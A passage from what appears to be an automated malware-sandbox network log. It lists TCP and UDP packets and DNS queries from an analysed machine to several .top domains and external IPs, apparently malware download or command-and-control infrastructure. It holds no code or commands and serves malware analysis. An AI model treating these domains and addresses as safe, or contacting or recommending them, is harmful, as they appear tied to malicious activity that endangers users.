Oct 29, 2021 17:56:24.646090984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646112919 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.646256924 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646294117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646310091 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.646352053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646409035 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646421909 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.646866083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646918058 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646940947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.647011042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647063971 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.647083998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647138119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647197008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647211075 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.647253036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647306919 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.647326946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647380114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647429943 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.647454977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647488117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.647557974 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.648865938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.648931026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.648986101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.648998976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649039984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649091959 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649113894 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649167061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649219036 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649240971 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649287939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649342060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649410963 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649461031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649492025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649519920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649563074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649621010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649633884 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649688005 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649736881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649755001 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649808884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649857044 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.649878025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649914980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649979115 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.649991989 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650044918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650104046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650118113 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650171995 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650228977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650242090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650296926 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650331020 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650351048 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650399923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650479078 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650517941 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650568008 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650604963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650628090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650681973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650733948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650753021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650808096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650841951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650866032 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650918961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.650971889 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.650990963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.651041985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.651077032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.651098013 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.655514002 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.655550957 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.655734062 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.655931950 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.656280041 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.656485081 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657310963 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657339096 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657366991 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657394886 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657423973 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657797098 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657825947 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657973051 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.657999039 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.658252001 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.658288956 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.658581018 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.658658028 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.658955097 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.659229994 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.659459114 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.659718990 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.660010099 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.660321951 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.660429001 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.660805941 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.682827950 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.683034897 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.683274031 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.683556080 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.683661938 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.683967113 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.684314013 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.684670925 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.684736013 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.691225052 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.692039013 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.703754902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.703799009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.703828096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.703846931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.703870058 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.703888893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.704945087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.704978943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705003977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705019951 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705051899 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705065966 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705091953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705120087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705137968 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705154896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705179930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705195904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705218077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705245018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705256939 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705284119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705310106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705326080 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705348969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705368996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705393076 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705857992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705904961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705924034 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.705948114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705976009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.705996990 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.706016064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706042051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706058025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.706073999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706100941 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706116915 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.706140041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706166029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706181049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.706201077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706221104 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.706243038 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.717674017 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.726517916 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.727394104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.751133919 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.953744888 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:26.340605974 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:26.361046076 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:26.361068010 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:26.423361063 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:26.423372984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:26.545212984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:26.672561884 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:57:16.495840073 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:57:16.495985985 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:57:31.547122955 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:57:31.547250032 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:57:31.547333956 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:57:31.609584093 CEST	80	49856	45.141.84.21	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 17:54:57.048072100 CEST	60342	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:54:57.149771929 CEST	53	60342	8.8.8.8	192.168.2.6
Oct 29, 2021 17:54:57.162566900 CEST	61346	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:54:57.449575901 CEST	53	61346	8.8.8.8	192.168.2.6
Oct 29, 2021 17:54:57.608392954 CEST	51774	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:54:58.081223011 CEST	53	51774	8.8.8.8	192.168.2.6
Oct 29, 2021 17:54:58.258389950 CEST	58384	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:54:58.690633059 CEST	53	58384	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:02.400264978 CEST	60261	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:02.417164087 CEST	53	60261	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:02.657576084 CEST	56061	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:02.676831007 CEST	53	56061	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:17.102416992 CEST	58336	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:17.513787031 CEST	53	58336	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:17.695029974 CEST	53781	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:17.714283943 CEST	53	53781	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:17.854537964 CEST	52811	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:17.872169018 CEST	53	52811	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:18.019084930 CEST	55299	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:18.038615942 CEST	53	55299	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:18.197896004 CEST	63745	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:18.217578888 CEST	53	63745	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:20.409872055 CEST	49694	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:20.427656889 CEST	53	49694	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:20.586899042 CEST	50010	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:20.606359959 CEST	53	50010	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:20.769994020 CEST	63718	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:20.792615891 CEST	53	63718	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:20.954031944 CEST	62116	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:20.973515034 CEST	53	62116	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:22.848704100 CEST	57574	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:22.870615005 CEST	53	57574	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:23.524542093 CEST	51818	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:23.543827057 CEST	53	51818	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:25.534522057 CEST	56628	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:25.555727959 CEST	53	56628	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:27.609565020 CEST	54683	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:27.629108906 CEST	53	54683	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:27.785403967 CEST	59329	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:27.804874897 CEST	53	59329	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:27.933482885 CEST	64021	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:27.956058025 CEST	53	64021	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:27.957577944 CEST	56129	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:27.977127075 CEST	53	56129	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:28.144896984 CEST	58177	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:28.222073078 CEST	53	58177	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:28.640609980 CEST	50700	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:28.660132885 CEST	53	50700	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:28.827136993 CEST	54069	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:28.846453905 CEST	53	54069	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:28.992240906 CEST	61178	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:29.011831999 CEST	53	61178	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:29.181817055 CEST	57017	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:29.199457884 CEST	53	57017	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:31.119785070 CEST	50243	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:31.139262915 CEST	53	50243	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:31.295265913 CEST	62055	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:31.314423084 CEST	53	62055	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:31.475876093 CEST	61249	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:31.905128956 CEST	53	61249	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:32.072633982 CEST	65252	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:32.093822002 CEST	53	65252	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:32.250112057 CEST	64367	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:32.270860910 CEST	53	64367	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:35.041301012 CEST	55066	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:35.062475920 CEST	53	55066	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:36.899585962 CEST	60211	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:36.919922113 CEST	53	60211	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:37.075726986 CEST	56570	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:37.093785048 CEST	53	56570	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:37.260876894 CEST	58454	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:37.280358076 CEST	53	58454	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:44.058342934 CEST	58721	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:44.077429056 CEST	53	58721	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:44.232764006 CEST	57691	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:44.252315998 CEST	53	57691	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:44.468173027 CEST	52943	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:44.487469912 CEST	53	52943	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:44.691632986 CEST	59489	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:44.711740971 CEST	53	59489	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:44.984433889 CEST	64022	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:45.003561974 CEST	53	64022	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:45.186166048 CEST	60023	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:45.205607891 CEST	53	60023	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:45.385817051 CEST	57193	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:45.405375004 CEST	53	57193	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:45.566839933 CEST	50248	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:45.586412907 CEST	53	50248	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:52.089204073 CEST	64413	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:52.108186960 CEST	53	64413	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:55.272018909 CEST	60429	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:55.291672945 CEST	53	60429	8.8.8.8	192.168.2.6
Oct 29, 2021 17:55:58.546071053 CEST	60345	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:55:58.565843105 CEST	53	60345	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:02.494286060 CEST	58730	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:02.513814926 CEST	53	58730	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:04.667323112 CEST	53830	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:04.701968908 CEST	53	53830	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:05.123013973 CEST	57226	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:05.481338978 CEST	53	57226	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:06.009197950 CEST	57880	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:06.109672070 CEST	53	57880	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:09.367886066 CEST	60850	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:09.387510061 CEST	53	60850	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:10.137373924 CEST	53187	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:10.161005020 CEST	53	53187	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:16.734692097 CEST	55830	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:16.758735895 CEST	53	55830	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:17.033591032 CEST	55145	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:17.081147909 CEST	53	55145	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:27.189867973 CEST	64091	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:27.212325096 CEST	53	64091	8.8.8.8	192.168.2.6
Oct 29, 2021 17:56:31.105573893 CEST	55728	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:56:31.124711990 CEST	53	55728	8.8.8.8	192.168.2.6
Oct 29, 2021 17:57:06.855134010 CEST	65531	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:57:06.874423981 CEST	53	65531	8.8.8.8	192.168.2.6
Oct 29, 2021 17:57:07.211366892 CEST	65437	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:57:07.230710030 CEST	53	65437	8.8.8.8	192.168.2.6
Oct 29, 2021 17:57:22.304686069 CEST	54590	53	192.168.2.6	8.8.8.8
Oct 29, 2021 17:57:22.324506998 CEST	53	54590	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 29, 2021 17:54:57.048072100 CEST	192.168.2.6	8.8.8.8	0xfbda	Standard query (0)	xacokuo8.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:54:57.162566900 CEST	192.168.2.6	8.8.8.8	0x99c6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:54:57.608392954 CEST	192.168.2.6	8.8.8.8	0xa0c5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:54:58.258389950 CEST	192.168.2.6	8.8.8.8	0xfc96	Standard query (0)	privacytoolzforyou-6000.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:02.400264978 CEST	192.168.2.6	8.8.8.8	0xf8f9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:02.657576084 CEST	192.168.2.6	8.8.8.8	0x91be	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:17.102416992 CEST	192.168.2.6	8.8.8.8	0xffd3	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:17.695029974 CEST	192.168.2.6	8.8.8.8	0x5457	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:17.854537964 CEST	192.168.2.6	8.8.8.8	0x45ab	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:18.019084930 CEST	192.168.2.6	8.8.8.8	0x1a42	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:18.197896004 CEST	192.168.2.6	8.8.8.8	0x103a	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.409872055 CEST	192.168.2.6	8.8.8.8	0x439f	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.586899042 CEST	192.168.2.6	8.8.8.8	0x85c1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.769994020 CEST	192.168.2.6	8.8.8.8	0x5a7c	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:20.954031944 CEST	192.168.2.6	8.8.8.8	0x7576	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:22.848704100 CEST	192.168.2.6	8.8.8.8	0x7019	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 17:55:23.524542093 CEST	192.168.2.6	8.8.8.8	0xaa00	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
